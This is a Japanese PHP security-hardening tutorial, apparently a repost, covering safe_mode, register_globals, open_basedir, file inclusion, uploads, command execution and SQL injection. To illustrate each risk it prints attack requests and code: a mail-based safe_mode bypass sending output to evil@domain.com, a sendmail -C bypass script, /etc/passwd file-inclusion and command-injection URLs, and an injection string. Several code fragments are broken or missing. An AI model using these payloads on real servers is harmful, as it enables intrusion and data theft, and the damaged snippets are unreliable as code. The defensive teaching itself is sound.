ホームページ >バックエンド開発 >PHPチュートリアル >PHP セキュリティ構成_PHP チュートリアル

PHP セキュリティ構成_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-21 16:09:02826ブラウズ


バージョン: 0.02

1. Web サーバーのセキュリティ

PHP は実際には Web サーバーの単なるモジュール機能であるため、最初に Web サーバーのセキュリティを確保する必要があります。もちろん、Web サーバーの安全性を確保するには、まずシステムのセキュリティを確保する必要がありますが、それはかなり先の話です。 PHP はさまざまな Web サーバーと組み合わせることができますが、ここでは Apache についてのみ説明します。 Apache を chroot モードでインストールして起動することを強くお勧めします。この方法では、Apache、PHP、およびそのスクリプトに脆弱性がある場合でも、影響を受けるのは制限されたシステムのみであり、実際のシステムには影響しません。ただし、chrooted Apache を使用すると、アプリケーションに特定の問題が発生します。たとえば、mysql に接続する場合、ソケット接続に localhost ではなく tcp を使用して接続する必要があり、これは若干効率が悪くなります。 php.ini で

[mail function]
; Win32 のみ
sendmail_from = me@localhost.com であるため、メールを送信するための関数にも問題があります。

これらはすべて Win32 プラットフォーム用であるため、sendmail は chroot 環境で調整する必要があります。

2. PHP 自体の問題

1. リモート オーバーフロー

PHP-4.1.2 より前のすべてのバージョンにはファイル アップロードのリモート バッファ オーバーフローの脆弱性があり、この攻撃プログラムは非常に高い成功率で広く出回っています。 http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2. リモートサービス拒否

PHP マルチパートは PHP-4.2.0 および PHP に存在します-4.2.1 /form-data POST リクエストのリモート処理の脆弱性。ローカル ユーザーの権限を取得できませんが、サービス拒否が発生する可能性があります。

3. セーフモードバイパスの脆弱性

PHP-4.2.2 以下から PHP-4.0.5 までのセーフモード制限実行コマンドの脆弱​​性をバイパスする PHP メール関数も存在します。パラメータが追加されましたが、設計者の配慮が不十分なため、safe_mode の制限を超えてコマンドが実行される可能性があります。バージョン 4.0.5 の画期的な点は非常に簡単です。たとえば、PHP スクリプト evil.php:


次の URL を実行します:

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain .com

これにより、id 実行の結果が evil@domain.com に送信されます

PHP 4.0.6 から 4.2.2 の場合、sendmail の -C パラメータは実際にはブレークスルーに使用されるため、システムは次のコードはセーフモードの制限を突破してコマンドを実行できます:

# 次の 2 つは存在してはならない、またはその所有者がこのスクリプトの所有者と同じである必要があることに注意してください
$script="/tmp/ script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr (9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");

$fd = fopen($script, " w") ;
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

上記の問題のあるバージョンの PHP を引き続き使用している場合は、基本的なセキュリティの問題を解決するために、適時に最新バージョンにアップグレードする必要があります。 PHP 自体のセキュリティ: PHP の設定は非常に柔軟で、php.ini、httpd.conf、.htaccess ファイルを通じて設定できます (AllowOverride All または Options をこのディレクトリに設定する必要があります)。また、ini_set を使用することもできます。 () およびスクリプト内のその他の特定の設定。構成オプションの値は、phpinfo() 関数と get_cfg_var() 関数を通じて取得できます。構成オプションが唯一の PHP_INI_SYSTEM 属性である必要があります。 php.ini および httpd.conf を通じて変更されます。これらは PHP の値を変更しますが、変更を有効にするには、Apache を再起動する必要があります。 php.ini に設定されたオプションは Web サーバー内のすべてのスクリプトに有効であり、httpd.conf に設定されたオプションは、定義されたディレクトリ内のすべてのスクリプトに有効です。

他の PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_ALL 属性オプションがある場合は、.htaccess ファイルを使用してそれらを設定することも、スクリプト自体で ini_set() 関数を使用してそれらを設定することもできます。これらはローカル値と変更はすぐに有効になります。ただし、.htaccess は現在のディレクトリにあるスクリプト プログラムに対してのみ有効であり、ini_set() 関数はスクリプト プログラムに対して ini_set() 関数を設定した後にのみ有効になります。各バージョンのオプション属性は異なる場合があります。次のコマンドを使用して現在のソース コードの main.c ファイルを検索し、すべてのオプションとその属性を取得できます:

# grep PHP_INI_ /PHP_SRC/main/main.c

ディスカッション中 PHP のセキュリティ構成を行う前に、PHP のセーフモード モードについてよく理解しておく必要があります。

1.safe_mode

safe_mode は唯一の PHP_INI_SYSTEM 属性であり、php.ini または httpd.conf を通じて設定する必要があります。セーフモードを有効にするには、php.ini を変更するだけです:

safe_mode = On

または httpd.conf を変更してディレクトリを定義します:


Options FollowSymLinks
php_admin_valuesafe_mode 1


safe_mode は、Apache を再起動した後に有効になります。セーフモードを有効にすると、多くの PHP 機能、特にシステム関連のファイルを開く、コマンドの実行、その他の機能が制限されます。
ファイルを操作するすべての関数は、スクリプトと同じ UID を持つファイルのみを操作します。たとえば、test.php スクリプトの内容は次のとおりです。いくつかのファイルの属性は次のとおりです:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r-- r-- 1 root root 4110 Oct 26 2002 Index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

ブラウザで test.php をリクエストすると次のエラー メッセージが表示されます:

警告: セーフ モード制限が有効です。uid/gid が 33/33 のスクリプトは、uid/gid が所有する ./index.html にアクセスできません。 /var/www/test .php の 1 行目で 0/0

操作されたファイルが配置されているディレクトリの UID がスクリプトの UID と一致する場合、ファイルの UID にアクセスできます。これが PHP の脆弱性なのか、それとも別の隠れた理由があるのか​​はわかりません。したがって、php スクリプトの所有者であるユーザーがこの目的にのみ使用することをお勧めします。これにより、safe_mode の効果が得られなくなります。

GID 比較を緩和したい場合は、safe_mode_gid をオンにしてファイルの GID の比較のみを検討できます。次のオプションを設定できます:

safe_mode_gid = On

safe_mode を設定した後、すべての関数が実行されます。 php.ini の Safe_mode_exec_dir でディレクトリ内のプログラムを指定し、shell_exec と ls -l はコマンドの実行を禁止します。本当に他のプログラムを呼び出す必要がある場合は、php.ini で次の設定を行うことができます:

safe_mode_exec_dir = /usr/local/php/exec

その後、プログラムをディレクトリにコピーすると、php スクリプトはシステムとプログラムを実行するためのその他の関数。さらに、このディレクトリ内のシェル スクリプトは、引き続き他のディレクトリ内のシステム コマンドを呼び出すことができます。

safe_mode_include_dir string
このディレクトリとそのサブディレクトリからファイルをインクルードする場合、UID/GID チェックをバイパスします (ディレクトリは include_path に存在するか、フルパスでインクルードされる必要があります)。

PHP 4.2.0 以降、このディレクティブは単なるディレクトリではなく、include_path ディレクティブと同様にセミコロンで区切られたパスを受け入れることができます。

指定された制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「safe_mode_include_dir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合、それらへのアクセスが許可されることを意味します。特定のディレクトリへのアクセスを制限したい場合は、「safe_mode_include_dir = /dir/incl/」のように末尾にスラッシュを追加します。

safe_mode_allowed_env_vars string
特定の環境変数を設定すると、潜在的なセキュリティ違反となる可能性があります。このディレクティブには、カンマで区切られたプレフィックスのリストが含まれます。セーフ モードでは、ユーザーは、ここで指定されたプレフィックスが名前に付いている環境変数のみを変更できます。デフォルトでは、ユーザーは PHP_ で始まる環境変数のみを設定できます (例: PHP_FOO = BAR)。

注: このディレクティブが空の場合、PHP ではユーザーが任意の環境変数を変更できるようになります。

safe_mode_protected_env_vars string
このディレクティブには、エンドユーザーが putenv() を使用して変更できない環境変数のカンマ区切りのリストが含まれています。これらの変数は、safe_mode_allowed_env_vars で許可された変更が設定されている場合でも変更できません。

safe_mode は万能薬ではありません (PHP の以前のバージョンでは回避できます) が、未知の攻撃をある程度回避できるセーフ モードをオンにすることを強くお勧めします。ただし、safe_mode を有効にすると多くの制限があり、アプリケーションに影響を与える可能性があるため、調和を図るためにコードと構成を調整する必要があります。セーフモードにより制限またはブロックされる機能については、PHPのマニュアルを参照してください。

safe_mode について説明した後、プログラム コードで発生する可能性のある実際の問題に基づいて、PHP サーバー側を構成することで脆弱性を回避する方法について説明します。

2. 変数の不正使用

PHP のデフォルトは register_globals = On です。GET、POST、Cookie、Environment、および Session の変数はグローバル変数として直接登録できます。登録順序は、variables_order = "EGPCS" (php.ini を通じて変更可能) です。同じ名前の variables_order の右側が左側を覆っているため、変数を乱用するとプログラムが混乱しやすくなります。さらに、スクリプト プログラマは変数を初期化する習慣がない場合が多く、次のようなプログラム スニペットは攻撃に対して非常に脆弱です。 auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";

次のリクエストを使用するだけでチェックを回避できます。 http ://victim/test_1.php?auth=1

これは非常に精神薄弱な間違いですが、phpnuke のリモート ファイル コピーの脆弱性など、いくつかの有名なプログラムもこの間違いを犯しています: http://www.securityfocus .com /bid/3361

PHP-4.1.0 がリリースされたとき、 register_globals をオフにすることが推奨され、さまざまな変数を使用するために 7 つの特別な配列変数が提供されました。 GET、POST、COOKIE などの変数は変数として直接登録されないため、配列変数を通じてアクセスする必要があります。 PHP-4.2.0 がリリースされたとき、php.ini のデフォルト設定は register_globals = Off でした。これにより、プログラムは PHP 自体によって初期化されたデフォルト値 (通常は 0) を使用できるようになり、攻撃者が判断変数を制御するのを防ぎます。

解決策:

設定ファイル php.ini で register_globals = Off を設定します。

プログラマはプログラムの開始時に判定変数の値を初期化する必要があります。

3. ファイルを開く

非常に脆弱なコード スニペット:
//test_2.php

if (!($st​​r = readfile("$filename")) {
echo(" 開けませんでした) file: $filename
n");
exit;
}
else {
echo $str;
}
?>

攻撃者は任意の $filename を指定できるため、攻撃者は以下を使用します / etc/passwd をリクエストします:

http://victim/test_2.php?filename=/etc/passwd

次のリクエストは php ファイル自体を読み取ることができます:

http://victim/test_2.php filename=? test_2.php

PHPのファイルを開く関数には、fopen()、file()などが含まれます。ファイル名変数が厳密にチェックされていない場合、サーバー上の重要なファイルがアクセスされ、読み取られてしまいます。

解決策:

特別なニーズを除き、php ファイルの操作を Web ディレクトリに制限します。以下は、Apache 設定ファイル httpd.conf を変更する例です。


php_admin_value open_basedir /usr/local/apache/htdocs
apache、/usr/local/apache/htdocs ディレクトリ内の PHP スクリプトは、独自のディレクトリ内のファイルのみを操作できます。それ以外の場合、PHP はエラーを報告します:

警告: ファイルは xxx オンラインの間違ったディレクトリにあります。 xx .

safe_mode モードを使用すると、前に説明したこの問題を回避できます。

4. インクルード ファイル

非常に脆弱なコード スニペット:


if(file_exists($filename))
?>無責任なコードは多大な損害を引き起こす可能性があります。攻撃者は次のリクエストを使用して /etc/passwd ファイルを取得できます:

http://victim/test_3.php?filename=/etc/passwd

PHP の Unix バージョンの場合(Win バージョンの PHP はリモートでファイルを開くことをサポートしていません)、攻撃者は、http または ftp サービスが有効になっているマシン上に、http://攻撃/攻撃.txt のコンテンツなどのシェル コマンドを含むファイルを作成する可能性があります。 の場合、次のリクエストによりターゲット ホストでコマンド ls /etc を実行できます:

http://victim/test_3.php?filename=http:// Attack / Attack.txt

攻撃者は、Apache ログ ファイル access.log と error.log を含めることで、コマンドを実行するコードを取得することもできます。ただし、干渉情報が多すぎるため、場合によっては成功するのが簡単ではありません。
別の形式の場合、次のコード スニペット:

//test_4.php

include("$lib/config.php");

攻撃者は自分のホスト上にそれを作成できます。コマンドを実行するコードを含む config.php ファイル。次に、次のリクエストを使用してターゲット ホストでコマンドを実行します:

http://victim/test_4.php?lib=http://攻撃

PHP's include 関数には、include ()、include_once()、require()、require_once が含まれます。ファイル名を含む変数が厳密にチェックされないと、システムに重大な危険が生じ、コマンドがリモートで実行される可能性があります。

解決策:

ファイルにパラメータを含める場合、変数を使用しないようにプログラマに要求します。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、ユーザーが任意に指定してはなりません。

上記の通り、ファイルを開く際のPHP操作パスの制限は必須のオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:

allow_url_fopen = Off

Apache を再起動します。

5. ファイルのアップロード

phpのファイルアップロードメカニズムは、php.iniのupload_tmp_dirで定義された一時ディレクトリ(デフォルトは/tmpなどのシステムの一時ディレクトリ)にユーザーがアップロードしたファイルを保存します。 phpxXuoXG 一時ファイルと同様に、プログラムの実行が終了すると、一時ファイルも削除されます。 PHP は、アップロードされたファイルに対して 4 つの変数を定義します: (たとえば、フォーム変数名は file で、register_globals がオンになっています)

$file #サーバーに保存される一時ファイルです (/tmp/phpxXuoXG など)
$file_size #アップロードされたファイルのサイズ
$file_name #アップロードされたファイルの元の名前
$file_type #アップロードされたファイルのタイプ

使用推奨:

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file ']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

これは最も単純なファイルアップロードコードです:


if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name); file".$file_name. "アップロードが成功しました! をクリックしてアップロードを続けてください";
終了;
}
?>


ファイルのアップロード



ファイルをアップロード:




このようなアップロード コードは読み取られる可能性があります。任意のファイルとコマンドの実行に関する質問です。
次のリクエストにより、/etc/passwd ドキュメントを Web ディレクトリ /usr/local/apache/htdocs/test の下の Attack.txt ファイルにコピーできます (注: このディレクトリは誰も書き込み可能であってはなりません):

http:/ /victim /test_5.php?upload=1&file=/etc/passwd&file_name=攻撃.txt

その後、次のリクエストを使用してパスワード ファイルを読み取ることができます:

http://victim/test/攻撃.txt

攻撃者はphpファイルを他の拡張機能にコピーし、スクリプトのソースコードを漏洩する可能性があります。
攻撃者はフォーム内の file_name 変数の値をカスタマイズし、書き込み権限のあるファイルをアップロードして上書きすることができます。
攻撃者は、PHP スクリプトをアップロードしてホストのコマンドを実行することもできます。

解決策:

PHP-4.0.3 以降では is_uploaded_file 関数と move_uploaded_file 関数が提供されており、操作されたファイルがユーザーによってアップロードされたファイルかどうかを確認できるため、システム ファイルが Web ディレクトリにコピーされることを回避できます。
$HTTP_POST_FILES 配列を使用して、ユーザーがアップロードしたファイル変数を読み取ります。
アップロード変数を厳密にチェックしてください。たとえば、php スクリプト ファイルは許可されません。

PHP スクリプトの操作を Web ディレクトリに制限すると、プログラマがコピー機能を使用してシステム ファイルを Web ディレクトリにコピーできなくなる可能性があります。 move_uploaded_file は open_basedir によって制限されないため、php.ini の Upload_tmp_dir の値を変更する必要はありません。
コピー操作によるソースコードの漏洩を避けるために、phpencode を使用して PHP スクリプトを暗号化します。
ファイルとディレクトリのアクセス許可を厳密に構成し、アップロードされたディレクトリへの書き込みを許可しないユーザーのみを許可します。
アップロードディレクトリのPHP解釈機能を削除するには、httpd.confを変更します:


php_flagエンジンをオフにする
#php3の場合は、php3_engineに置き換えますoff


apacheを再起動すると、アップロードディレクトリ内のphpファイルはapacheで解釈できず、phpファイルをアップロードしても問題なく、ソースコードが直接表示されるだけです。

6. コマンドの実行

次のコード スニペットは、PHPNetToolpack から抽出されたものです。詳細については、次を参照してください。

http://www.securityfocus.com/bid/4303

system("traceroute $a_query",$ret_strs);
?> プログラムは $a_query 変数をフィルタリングしないため、攻撃者はセミコロンを使用して実行コマンドを追加できます。

攻撃者は次のリクエストを入力することで cat /etc/passwd コマンドを実行できます:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP のコマンド実行関数system()、passthru()、popen()、`` などもあります。コマンド実行機能は非常に危険ですので、使用には十分注意してください。これを使用する場合は、ユーザー入力を厳密にチェックする必要があります。

解決策:

プログラマは、escapeshellcmd() 関数を使用して、ユーザーが入力したシェルコマンドをフィルタリングする必要があります。

safe_mode を有効にすると、コマンドの実行に関する多くの問題が解消されますが、PHP のバージョンが最新である必要があることに注意してください。PHP-4.2.2 より小さいバージョンでは、コマンドを実行するためにセーフ モードの制限が回避される可能性があります。

7. sql_inject

変数が処理されない場合、次の SQL ステートメントには問題が発生します:

select * from login where user='$user' and pass='$pass'

攻撃者はユーザー名を使用できます。とパスワード 検証をバイパスするには、1' または 1='1 を入力します。

ありがたいことに、PHP にはデフォルトのオプション magic_quotes_gpc = On があり、これにより、addslashes() 操作が GET、POST、COOKIE の変数に自動的に追加されます。上記の SQL ステートメントは次のようになります:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

これにより、このタイプの sql_inject 攻撃が回避されます。

数値フィールドの場合、多くのプログラマは次のように書きます:

select * from test where id=$id

変数は一重引用符で展開されていないため、sql_inject 攻撃が発生します。幸いなことに、MySQL には単純な関数があり、sqlserver などのデータベースにはコマンドを実行するための SQL ステートメントはなく、PHP の mysql_query() 関数では 1 つの SQL ステートメントしか実行できないため、複数の SQL ステートメントをセミコロンで区切る攻撃は機能しません。しかし、攻撃者は少なくともクエリ ステートメントを間違ったり、システムに関する情報を漏洩したり、予期せぬ状況を引き起こしたりする可能性があります。

解決策:

SQL ステートメントに含めるユーザーによって送信されたすべての変数をフィルターすることをプログラマに要求します。
それが数値フィールドであっても、変数は一重引用符で囲まれている必要があります。MySQL は文字列を数値に処理します。
MySQL では、PHP プログラムに対する高レベルの権限をユーザーに与えないでください。これにより、プログラムに問題がある場合の SELECT INTO OUTFILE... 攻撃も回避されます。

8. 警告とエラー メッセージ

PHP はデフォルトですべての警告とエラー メッセージを表示します:

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

これは、通常の開発およびデバッグ中に非常に便利です。警告情報に基づくと、エラーが存在します。
正式に適用されると、警告メッセージとエラー メッセージによってユーザーは圧倒され、スクリプトの物理パスが攻撃者に漏洩し、さらなる攻撃に有益な情報が攻撃者に提供されます。そして、間違った場所にアクセスしなかったため、プログラムのエラーを修正するのが間に合わなくなりました。したがって、物理パスが攻撃者に漏洩しないようにするだけでなく、プログラムのエラーがどこにあるのかを自分自身で知るためにも、PHP のすべての警告およびエラー情報をログ ファイルに記録することが非常に賢明です。

php.ini のエラー処理とログの内容を変更します:

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

その後、Apache を再起動します。ファイル /usr/local/apache/logs/php_error.log は、nobody ユーザーによって書き込み可能でなければなりません。

9. disable_functions

一部の関数が依然として脅威であると思われる場合は、php.ini で disable_functions を設定できます (このオプションは httpd.conf では設定できません)。例:

disable_functions = phpinfo, get_cfg_varカンマで区切って複数の関数を指定できます。 Apache を再起動すると、phpinfo 関数と get_cfg_var 関数が無効になります。関数 phpinfo と get_cfg_var は、サーバー情報が漏洩しやすいため、実用的ではないため、閉じることをお勧めします。

10. disable_classes

このオプションは、PHP-4.3.2 以降でのみ使用可能です。複数のクラス名がある場合は、それらをカンマで区切ります。 disable_classes は httpd.conf で設定できず、php.ini 設定ファイルでのみ変更できます。

11. open_basedir

ルーチンを分析する際に、open_basedir がスクリプトの操作パスを制限するために使用されることを何度も述べました。ここでその特徴を紹介します。 open_basedir で指定される制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「open_basedir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合には、それらへのアクセスも許可されることを意味します。指定したディレクトリのみへのアクセスを制限したい場合は、パス名の末尾にスラッシュを付けます。例: 「open_basedir = /dir/incl/」。
Windows では、セミコロンを使用して複数のディレクトリを設定できます。他のシステム上のディレクトリを区切るにはコロンを使用します。 Apache モジュールとして使用する場合、親ディレクトリの open_basedir パスが自動的に継承されます。

4. その他のセキュリティ設定

1. 一般的に使用される重要なシステム コマンドに対する他のユーザーの読み取り、書き込み、および実行権限をキャンセルします。一般的な管理者のメンテナンスには、これら 2 人のユーザーに加えて、1 人の一般ユーザーのみが必要です。他のユーザーが実行できるものやアクセスできるものはできるだけ少なくする必要があるため、一般的に使用される重要なシステム コマンドに対する他のユーザーの読み取り、書き込み、および実行権限を削除すると、プログラムまたはサービスに脆弱性が発生したときに攻撃者が混乱する可能性があります。読み取り権限を必ず削除してください。削除しないと、/lib/ld-linux.so.2 /bin/ls を使用して Linux で実行できます。
chroot 環境でプロセスをキャンセルする場合、このタスクは簡単に実行できます。そうでない場合、このタスクはまだ少し困難です。一部のプログラムの実行権限を取り消すと、一部のサービスが異常動作する可能性があるためです。 PHP のメール機能では、レターを送信するために /bin/sh が sendmail を呼び出す必要があるため、/bin/bash の実行権限を削除することはできません。これは面倒な作業です

2. Apache ログから他のユーザーの読み取り権限を削除します

Apache のアクセス ログは、ローカルの脆弱性を含む一部のプログラムに便利なドアを提供します。 PHP コードを含む URL を送信すると、アクセス ログに PHP コードが含まれるようになり、インクルード ファイルをアクセス ログに指定して、それらの PHP コードを実行してローカル アクセスを取得できます。
他の仮想ホストがある場合は、ログファイルに対する他のユーザーの読み取り権限もそれに応じて削除する必要があります。

もちろん、上記のように PHP を設定すると、通常はログ ファイルを読み取ることができなくなります。

参考資料:


履歴:

0.02 - 久しぶりのドキュメントなので、さらに修正を加えました
0.01 - 初期バージョン

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/314668.html技術記事バージョン:0.02 1. Web サーバーのセキュリティ PHP は実際には Web サーバーのモジュール機能にすぎないため、最初に Web サーバーのセキュリティを確保する必要があります。もちろん、Web サーバーを安全にするには、まずセキュリティを確保する必要があります...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。